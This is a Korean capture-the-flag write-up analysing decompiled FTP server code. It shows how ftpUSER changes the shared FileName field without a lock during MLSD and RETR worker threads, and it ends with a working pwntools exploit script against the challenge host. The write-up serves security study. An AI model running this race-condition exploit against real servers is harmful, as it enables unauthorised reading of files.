그리고 opendir, readdir을 해주고 datasocket으로 결과를 보내준다.

__int64 __fastcall mlsd_sub(__int64 a1, int a2, __int64 a3, _BYTE *a4)
{
  __int64 result; // rax
  size_t v6; // rdx
  struct tm v7; // [rsp+0h] [rbp-2118h] BYREF
  struct stat64 v8; // [rsp+40h] [rbp-20D8h] BYREF
  char file[24]; // [rsp+D0h] [rbp-2048h] BYREF
  unsigned __int64 v10; // [rsp+20D8h] [rbp-40h]

  v10 = __readfsqword(0x28u);
  if ( a4[19] != 46 || (result = 1LL, a4[20]) )
  {
    if ( a4[19] != 46 || a4[20] != 46 || (result = 1LL, a4[21]) )
    {
      __snprintf_chk((__int64)file, 0x2000LL, 1LL, 0x2000LL, "%s/%s");
      if ( !lstat64(file, &v8) )
      {
        localtime_r(&v8.st_mtim.tv_sec, &v7);
        ++v7.tm_mon;
        __snprintf_chk(
          (__int64)file,
          0x2000LL,
          1LL,
          0x2000LL,
          "type=%s;%s=%llu;UNIX.mode=%lo;UNIX.owner=%lu;UNIX.group=%lu;modify=%u%02u%02u%02u%02u%02u; %s\r\n");
      }
      v6 = strlen(file);
      if ( a3 )
        return gnutls_record_send() >= 0;
      else
        return send(a2, file, v6, 0x4000) >= 0;
    }
  }
  return result;
}

mlsd_sub 함수가 결과를 보내주는 역할을 한다.

_BOOL8 __fastcall ftpPASV(__int64 a1)
{
  size_t v1; // rdx

  if ( *(_DWORD *)(a1 + 88) )
  {
    if ( *(_DWORD *)(a1 + 56) )
    {
      if ( (unsigned int)pasv_part_0() )
      {
        __snprintf_chk(a1 + 12408, 0x2000LL, 1LL, 0x2000LL, "227 Entering Passive Mode (%u,%u,%u,%u,%u,%u).\r\n");
        writelogentry(a1, (__int64)" entering passive mode", (__int64)"");
        v1 = strlen((const char *)(a1 + 12408));
        if ( *(_QWORD *)(a1 + 20600) )
          return gnutls_record_send() >= 0;
        else
          return send(*(_DWORD *)(a1 + 40), (const void *)(a1 + 12408), v1, 0x4000) >= 0;
      }
      else
      {
        return 1LL;
      }
    }
    else
    {
      if ( *(_QWORD *)(a1 + 20600) )
        gnutls_record_send();
      else
        send(*(_DWORD *)(a1 + 40), "550 Another action is in progress, use ABOR command first.\r\n", 0x3CuLL, 0x4000);
      return 1LL;
    }
  }
  else
  {
    if ( *(_QWORD *)(a1 + 20600) )
      gnutls_record_send();
    else
      send(*(_DWORD *)(a1 + 40), "530 Please login with USER and PASS.\r\n", 0x26uLL, 0x4000);
    return 1LL;
  }
}

ftp 패시브 모드가 구현된 함수다.
포트를 열어주고 유저가 특정 포트로 접속해서 데이터를 받는 형식이다.

_BOOL8 __fastcall ftpRETR(pthread_mutex_t *mutex, __int64 a2)
{
  int owner; // edx
  int lock; // edi
  int v5; // eax
  __int64 align; // rdi
  int v8; // eax
  pthread_t newthread; // [rsp+8h] [rbp-C0h] BYREF
  struct stat64 v10; // [rsp+10h] [rbp-B8h] BYREF
  unsigned __int64 v11; // [rsp+A8h] [rbp-20h]

  owner = mutex[2].__owner;
  v11 = __readfsqword(0x28u);
  if ( !owner )
  {
    if ( !mutex[515].__align )
      return send(mutex[1].__lock, "530 Please login with USER and PASS.\r\n", 0x26uLL, 0x4000) >= 0;
    return gnutls_record_send() >= 0;
  }
  if ( !mutex[1].__kind )
  {
    if ( !mutex[515].__align )
      return send(mutex[1].__lock, "550 Another action is in progress, use ABOR command first.\r\n", 0x3CuLL, 0x4000) >= 0;
    return gnutls_record_send() >= 0;
  }
  if ( !a2 )
  {
    if ( !mutex[515].__align )
      return send(mutex[1].__lock, "501 Syntax error in parameters or arguments.\r\n", 0x2EuLL, 0x4000) >= 0;
    return gnutls_record_send() >= 0;
  }
  lock = mutex[2].__lock;
  if ( lock != -1 )
  {
    close(lock);
    mutex[2].__lock = -1;
  }
  ftp_effective_path(&mutex[105].__align + 2, &mutex[3], a2, 0x2000LL, &mutex[310].__align + 1);
  v5 = stat64(&mutex[310].__size[8], &v10);
  align = mutex[515].__align;
  if ( v5 || (v10.st_mode & 0xF000) == 0x4000 )
  {
    if ( align )
      return gnutls_record_send() >= 0;
    else
      return send(mutex[1].__lock, "550 File or directory unavailable.\r\n", 0x24uLL, 0x4000) >= 0;
  }
  else
  {
    if ( align )
      gnutls_record_send();
    else
      send(mutex[1].__lock, "150 File status okay; about to open data connection.\r\n", 0x36uLL, 0x4000);
    writelogentry((__int64)mutex, (__int64)" RETR: ", a2);
    mutex[1].__spins = 0;
    pthread_mutex_lock(mutex);
    v8 = pthread_create(&newthread, 0LL, retr_thread, mutex);
    mutex[1].__kind = v8;
    if ( v8 )
    {
      if ( mutex[515].__align )
        gnutls_record_send();
      else
        send(mutex[1].__lock, "451 Requested action aborted. Local error in processing.\r\n", 0x3AuLL, 0x4000);
    }
    else
    {
      *(&mutex[1].__align + 1) = newthread;
    }
    pthread_mutex_unlock(mutex);
    return 1LL;
  }
}

RETR 명령어가 구현된 함수다.
파일을 읽는데 필요하다.

void *__fastcall retr_thread(__int64 a1)
{
  void *v1; // rbp
  void *max_size; // r13
  int v4; // eax
  int v5; // r12d
  char v6; // r14
  __int64 v7; // rdi
  __int64 v8; // rbx
  __int64 v9; // rax
  signed __int64 v10; // rax
  signed __int64 v11; // r14
  __int64 v13; // [rsp+18h] [rbp-D0h]
  int fd; // [rsp+24h] [rbp-C4h]
  __int64 v15; // [rsp+28h] [rbp-C0h] BYREF
  struct timespec tp; // [rsp+30h] [rbp-B8h] BYREF
  __pthread_unwind_buf_t buf; // [rsp+40h] [rbp-A8h] BYREF

  buf.__pad[4] = (void *)__readfsqword(0x28u);
  pthread_mutex_lock((pthread_mutex_t *)a1);
  if ( __sigsetjmp((struct __jmp_buf_tag *)&buf, 0) )
  {
    cleanup_handler((pthread_mutex_t *)a1);
    __pthread_unwind_next(&buf);
  }
  __pthread_register_cancel(&buf);
  v15 = 0LL;
  clock_gettime(1, &tp);
  v1 = malloc((size_t)&_data_start);
  if ( !v1 )
  {
    *(_DWORD *)(a1 + 80) = -1;
    goto LABEL_26;
  }
  fd = create_datasocket(a1);
  if ( fd != -1 )
  {
    if ( *(_QWORD *)(a1 + 20600) )
    {
      if ( !(unsigned int)ftp_init_tls_session(&v15, fd, 0) )
        goto LABEL_6;
      max_size = (void *)gnutls_record_get_max_size(v15);
      if ( max_size > &_data_start )
        max_size = &_data_start;
    }
    else
    {
      max_size = &_data_start;
    }
    v4 = open64((const char *)(a1 + 12408), 0);
    *(_DWORD *)(a1 + 80) = v4;
    v5 = v4;
    if ( v4 != -1 )
    {
      v6 = 0;
      if ( *(_QWORD *)(a1 + 104) == lseek64(v4, *(_QWORD *)(a1 + 104), 0) )
      {
        if ( *(_DWORD *)(a1 + 60) )
        {
          v13 = 0LL;
          v6 = 1;
        }
        else
        {
          v8 = 0LL;
          do
          {
            v10 = read(v5, v1, (size_t)max_size);
            v11 = v10;
            if ( !v10 )
              break;
            if ( v10 >= 0 )
            {
              v9 = v15 ? gnutls_record_send() : send(fd, v1, v10, 0x4000);
              if ( v11 == v9 )
                continue;
            }
            v13 = v8;
            v6 = 0;
            goto LABEL_41;
            v8 += v11;
          }
          while ( !*(_DWORD *)(a1 + 60) );
          v13 = v8;
          v6 = 1;
        }
LABEL_41:
        clock_gettime(1, &tp);
        *(_QWORD *)(a1 + 20616) += v13;
        ++*(_QWORD *)(a1 + 20632);
        __snprintf_chk(
          (char *)v1,
          (__int64)max_size,
          1LL,
          (__int64)&_data_start,
          " RETR complete. %zd bytes (%f MBytes) total sent in %f seconds (%f MBytes/s)");
        writelogentry(a1, (__int64)v1, (__int64)"");
      }
      close(v5);
      *(_DWORD *)(a1 + 0x50) = -1;
      free(v1);
      v7 = *(_QWORD *)(a1 + 0x5078);
      if ( !*(_DWORD *)(a1 + 0x3C) && v6 )
      {
        if ( !v7 )
        {
          send(*(_DWORD *)(a1 + 40), "226 Transfer complete. Closing data connection.\r\n", 0x31uLL, 0x4000);
          goto LABEL_9;
        }
        goto LABEL_8;
      }
LABEL_7:
      if ( !*(_QWORD *)(a1 + 0x5078) )
      {
        send(*(_DWORD *)(a1 + 40), "426 Connection closed; transfer aborted.\r\n", 0x2AuLL, 0x4000);
        goto LABEL_9;
      }
LABEL_8:
      gnutls_record_send();
LABEL_9:
      close(fd);
      *(_DWORD *)(a1 + 44) = -1;
      goto LABEL_10;
    }
  }
LABEL_6:
  *(_DWORD *)(a1 + 80) = -1;
  free(v1);
  if ( fd != -1 )
    goto LABEL_7;
LABEL_26:
  if ( *(_QWORD *)(a1 + 20600) )
    gnutls_record_send();
  else
    send(*(_DWORD *)(a1 + 40), "451 Requested action aborted. Local error in processing.\r\n", 0x3AuLL, 0x4000);
LABEL_10:
  if ( v15 )
  {
    gnutls_bye();
    gnutls_deinit();
  }
  *(_DWORD *)(a1 + 56) = -1;
  __pthread_unregister_cancel(&buf);
  pthread_mutex_unlock((pthread_mutex_t *)a1);
  return 0LL;
}

쓰레드로 돌아간다.
다른 함수랑 비슷하게 mutex 걸고 간다.
파일을 읽고 datasocket으로 보내준다.

ftp_effective_path 함수는 소스코드를 읽으면서 분석했다.


int ftp_normalize_path(char* path, size_t npath_len, char* npath)
{
    char* p0;
    size_t          node_len;
    int             status = 1;
    pftp_path_node  nodes = NULL, newnode;

    if ((path == NULL) || (npath == NULL) || (npath_len < 2))
        return 0;

    if (*path == '/')
    {
        *npath = '/';
        ++path;
        ++npath;
        --npath_len;
    }

    p0 = path;

    while (*path != 0)
    {
        while ((*path != '/') && (*path != '\0'))
            ++path;

        node_len = path - p0;

        while (node_len > 0)
        {
            /* we have a "this dir" sign: just skip it */
            if (strncmp(p0, ".", node_len) == 0)
                break;

            if (strncmp(p0, "..", node_len) == 0)
            {
                /* we have a "dir-up" sign: unlink and free prev node */
                if (nodes)
                {
                    newnode = nodes->prev;
                    free(nodes);
                    if (newnode)
                        newnode->next = NULL;
                    nodes = newnode;
                }
            }
            else
            {
                newnode = x_malloc(sizeof(ftp_path_node));
                newnode->value = p0;
                newnode->length = node_len;
                newnode->next = NULL;
                newnode->prev = nodes;

                if (nodes)
                    nodes->next = newnode;

                nodes = newnode;
            }

            break;
        }

        if (*path != 0)
            ++path;

        p0 = path;
    }

    /* return to head */
    newnode = nodes;
    while (newnode)
    {
        nodes = newnode;
        newnode = newnode->prev;
    }

    while (nodes)
    {
        if (npath_len < nodes->length + 1)
        {
            status = 0;
            break;
        }

        strncpy(npath, nodes->value, nodes->length);
        npath += nodes->length;
        *npath = '/';
        ++npath;
        npath_len -= nodes->length + 1;

        newnode = nodes;
        nodes = newnode->next;
        free(newnode);
    }

    /* free the remaining nodes in case of break */
    while (nodes)
    {
        newnode = nodes;
        nodes = newnode->next;
        free(newnode);
    }

    if ((npath_len == 0) || (status == 0))
        return 0;

    *npath = '\0';
    return 1;
}

int ftp_effective_path(char *root_path, char *current_path,
        char *file_path, size_t result_size, char *result)
{
    char    path[PATH_MAX*2], normalized_path[PATH_MAX];
    int     status;
    size_t  len;

    memset(result, 0, result_size);

    if (file_path == NULL)
        file_path = "";

    if (*file_path == '/')
    {
        status = ftp_normalize_path(file_path, PATH_MAX, normalized_path);
    }
    else
    {
        snprintf(path, PATH_MAX*2, "%s/%s", current_path, file_path);
        status = ftp_normalize_path(path, PATH_MAX, normalized_path);
    }

    if (status == 0)
        return 0;

    snprintf(path, PATH_MAX*2, "%s/%s", root_path, normalized_path);
    status = ftp_normalize_path(path, result_size, result);

    /* delete last slash */
    len = strlen(result);
    if (len >= 2)
    {
        if (result[len-1] == '/')
            result[len-1] = '\0';
    }

    return status;
}

기본적으로 root path와 file path를 마지막에 붙여준다.
..이나 .같은 상대주소 처리도 제대로 구현되어있다.

분석하면서 왜 mutex가 엄청 큰지 궁금했는데, 역시 구조체로 구현되어있었다.

typedef struct _FTPCONTEXT {
    pthread_mutex_t     MTLock;
    SOCKET              ControlSocket;
    SOCKET              DataSocket;
    pthread_t           WorkerThreadId;
    /*
     * WorkerThreadValid is output of pthread_create
     * therefore zero is VALID indicator and -1 is invalid.
     */
    int                 WorkerThreadValid;
    int                 WorkerThreadAbort;
    in_addr_t           ServerIPv4;
    in_addr_t           ClientIPv4;
    in_addr_t           DataIPv4;
    in_port_t           DataPort;
    int                 File;
    int                 Mode;
    int                 Access;
    int                 SessionID;
    int                 DataProtectionLevel;
    off_t               RestPoint;
    uint64_t            BlockSize;
    char                CurrentDir[PATH_MAX];
    char                RootDir[PATH_MAX];
    char                RnFrom[PATH_MAX];
    char                FileName[2*PATH_MAX];
    gnutls_session_t    TLS_session;
    SESSION_STATS       Stats;
} FTPCONTEXT, *PFTPCONTEXT;

함수가 호출되면서 FTPCONTEXT가 첫번째 인자로 들어가고 두번째 인자는 명령어의 operand가 들어간다.
File이나, Access, Mode같은 필드들이 있었다.

Exploitation

int ftpUSER(PFTPCONTEXT context, const char *params)
{
    if ( params == NULL )
        return sendstring(context, error501);

    context->Access = FTP_ACCESS_NOT_LOGGED_IN;

    writelogentry(context, " USER: ", (char *)params);
    snprintf(context->FileName, sizeof(context->FileName), "331 User %s OK. Password required\r\n", params);
    sendstring(context, context->FileName);

    /* Save login name to FileName for the next PASS command */
    strcpy(context->FileName, params);
    return 1;
}

ftpUSER에서 FileName이 덮힌다.
ftp_effective_path에서

snprintf(path, PATH_MAX*2, "%s/%s", root_path, normalized_path);

위와 같이 root_path와 normalized_path를 붙이고 ..과 .은 독립적으로 처리가 되기 때문에 Path Traversal은 불가능하다.

    ftp_effective_path(context->RootDir, context->CurrentDir, params, sizeof(context->FileName), context->FileName);

    while (stat(context->FileName, &filestats) == 0)
    {
        if ( !S_ISDIR(filestats.st_mode) )
            break;

        sendstring(context, interm150);
        writelogentry(context, " MLSD-LIST ", (char *)params);
        context->WorkerThreadAbort = 0;

        pthread_mutex_lock(&context->MTLock);

ftpMLSD 함수의 일부분을 보면, ftp_effective_path를 호출하고 context->FileName을 체크하는 것을 알 수 있다.
이때 root_path가 /server/data라서 거기에 있는 hello.txt를 읽고, mutex가 unlock될때 읽으면 된다고 생각했다.
그때 mutex를 잘못알고 있어서, 저렇게 생각했었는데, 나중에 알아보니 굳이 mutex unlock 되고 바꿀 필요가 없었다.
그때는 왜 lock 되어있는데 값이 바뀌는지 궁금했지만, 그냥 되길래 익스플로잇 코드를 짰었다.

mutex는 기본적으로 쓰레드간 critical section 동시 진입을 막기 위해 존재한다. 그래서 lock을 걸면 mutex에 특정 값을 세팅하고 다른 쓰레드가 critical section에 진입하려하면 lock을 통해 mutex를 보고 막는다.
만약 다른 쓰레드가 lock을 하지 않고 그냥 돌리게 되면 mutex를 확인도 안하고 그냥 돌리게 된다. 결과적으로 lock 되었는데도 불구하고 다른 쓰레드가 shared variable에 접근할 수 있게된다.

int ftpUSER(PFTPCONTEXT context, const char *params)
{
    if ( params == NULL )
        return sendstring(context, error501);

    context->Access = FTP_ACCESS_NOT_LOGGED_IN;

    writelogentry(context, " USER: ", (char *)params);
    snprintf(context->FileName, sizeof(context->FileName), "331 User %s OK. Password required\r\n", params);
    sendstring(context, context->FileName);

    /* Save login name to FileName for the next PASS command */
    strcpy(context->FileName, params);
    return 1;
}

ftpUSER 함수에서 mutex lock을 안해서 mutex와 상관없이 context 구조체에 접근할 수 있다.

  ftp_effective_path((__int64)(&mutex[105].__align + 2), (__int64)&mutex[3], a2, 0x2000uLL, &mutex[310].__size[8]);
  v4 = stat64(&mutex[310].__size[8], &v9);      // get stat of file
  align = mutex[515].__align;
  if ( !v4 && (v9.st_mode & 0xF000) == 0x4000 )
  {
    if ( align )
      gnutls_record_send();
    else
      send(mutex[1].__lock, "150 File status okay; about to open data connection.\r\n", 0x36uLL, 0x4000);
    writelogentry((__int64)mutex, (__int64)" MLSD-LIST ", (__int64)a2);
    mutex[1].__spins = 0;
    pthread_mutex_lock(mutex);
    v7 = pthread_create(&newthread, 0LL, (void *(*)(void *))mlsd_thread, mutex);

mlsd_thread를 호출한다.
그래서 이때 ftpUSER를 호출할 수 있는 상태가 된다.

  buf.__pad[4] = (void *)__readfsqword(0x28u);
  pthread_mutex_lock(a1);
  if ( __sigsetjmp((struct __jmp_buf_tag *)&buf, 0) )
  {
    cleanup_handler(a1);
    __pthread_unwind_next(&buf);
  }
  v1 = 0;
  __pthread_register_cancel(&buf);

mlsd_thread 함수의 첫부분을 보면 이때 mutex를 거는데, ftpUSER에서 mutex 상관없이 바꿀 수 있어서 사실상 무용지물이 된다.

  *(_QWORD *)fd = (unsigned int)create_datasocket(a1);
  if ( *(_DWORD *)fd != -1 )
  {
    if ( !a1[515].__align || (unsigned int)ftp_init_tls_session(&fd[4], *(unsigned int *)fd, 0) )
    {
      v2 = opendir(&a1[310].__size[8]);         // open dir
      if ( v2 )
      {
        do
        {
          v3 = readdir64(v2);
          if ( !v3 )
            break;
          v1 = mlsd_sub(&a1[310].__align + 1, *(unsigned int *)fd, *(_QWORD *)&fd[4], v3);
          if ( !v1 )
            break;
        }
        while ( !a1[1].__spins );
        closedir(v2);
      }

mutex 걸고 create_datasocket을 호출해서 fd를 받아오는데, PASSIVE MODE 걸어주고 돌리면, 포트에 접속할때까지 create_datasocket에서 멈춘다.
그래서 멈췄을때 바로 FileName을 바꿔주면 안정적으로 race condition을 트리거할 수 있다.

fd로 결과를 보내준다.
이걸로 flag의 이름을 알 수 있다.

  fd = create_datasocket(a1);
  if ( fd != -1 )
  {
    if ( *(_QWORD *)(a1 + 20600) )
    {
      if ( !(unsigned int)ftp_init_tls_session(&v15, fd, 0) )
        goto LABEL_6;
      max_size = (void *)gnutls_record_get_max_size(v15);
      if ( max_size > &_data_start )
        max_size = &_data_start;
    }
    else
    {
      max_size = &_data_start;
    }
    v4 = open64((const char *)(a1 + 12408), 0);
    *(_DWORD *)(a1 + 80) = v4;
    v5 = v4;

이거랑 같은 맥락으로 retr_thread도 FileName을 바꿔주면 된다.
당연히 앞에 ftpUSER 함수에서 user name을 바꿨으니 다시 로그인?을 해줘야한다.

SOCKET create_datasocket(PFTPCONTEXT context)
{
    SOCKET				clientsocket = INVALID_SOCKET;
    struct sockaddr_in	laddr;
    socklen_t			asz;

    memset(&laddr, 0, sizeof(laddr));

    switch ( context->Mode ) {
    case MODE_NORMAL:
        clientsocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
        context->DataSocket = clientsocket;
        if ( clientsocket == INVALID_SOCKET )
            return INVALID_SOCKET;

        laddr.sin_family = AF_INET;
        laddr.sin_port = context->DataPort;
        laddr.sin_addr.s_addr = context->DataIPv4;
        if ( connect(clientsocket, (const struct sockaddr *)&laddr, sizeof(laddr)) == -1 ) {
            close(clientsocket);
            return INVALID_SOCKET;
        }
        break;

    case MODE_PASSIVE:
        asz = sizeof(laddr);
        clientsocket = accept(context->DataSocket, (struct sockaddr *)&laddr, &asz);
        close(context->DataSocket);
        context->DataSocket = clientsocket;

        if ( clientsocket == INVALID_SOCKET )
            return INVALID_SOCKET;

        context->DataIPv4 = 0;
        context->DataPort = 0;
        context->Mode = MODE_NORMAL;
        break;

    default:
        return INVALID_SOCKET;
    }
    return clientsocket;
}

PASSIVE MODE로 세팅해주고, 서버가 제공하는 포트에 접속해서 데이터를 받아주면 된다.

from pwn import *

sa = lambda x,y : p.sendafter(x,y)
s = lambda x : p.send(x)
rvu = lambda x : p.recvuntil(x)
local =False

if local==True:
    ip = '127.0.0.1'
    mip = b'127,0,0,1'
else :
    ip = '47.89.253.219'
    mip = b'0,0,0,0'

p = remote(ip,2121)
context.log_level='debug'
pay = b'USER anonymous\r\n'
sa(b'ready',pay)
pay = b'PASS AAAAA\r\n'
sa(b' OK',pay)
pay = b'PASV \r\n'
sa(b'logged in',pay)
pay = b'MLSD /\r\n'
sa(b'Passive',pay)
rvu(mip+b',')
recv = rvu(b')')[:-1].split(b',')
recv = [int(x) for x in recv]
port = recv[0] * 256 + recv[1]
success(f"nc {ip} {port}")
s(b'USER /\r\n')
print("flag name : ",end='')
flag = input()
s(b'USER anonymous\r\n')
sa(b' OK',b'PASS AAAAA\r\n')
sa(b'logged in',b'PASV \r\n')
rvu(mip+b',')
recv = rvu(b')')[:-1].split(b',')
recv = [int(x) for x in recv]
port = recv[0] * 256 + recv[1]
success(f"nc {ip} {port}")
flag = "/"+flag
pay = b'RETR /hello.txt\r\n'
s(pay)
s(f'USER {flag[:-1]}\r\n')

p.interactive()


nc로 직접 접속해줘야된다.


flag 이름 넣어주고 다른 포트로 다시 접속하면 된다.

profile
https://msh1307.kr

0개의 댓글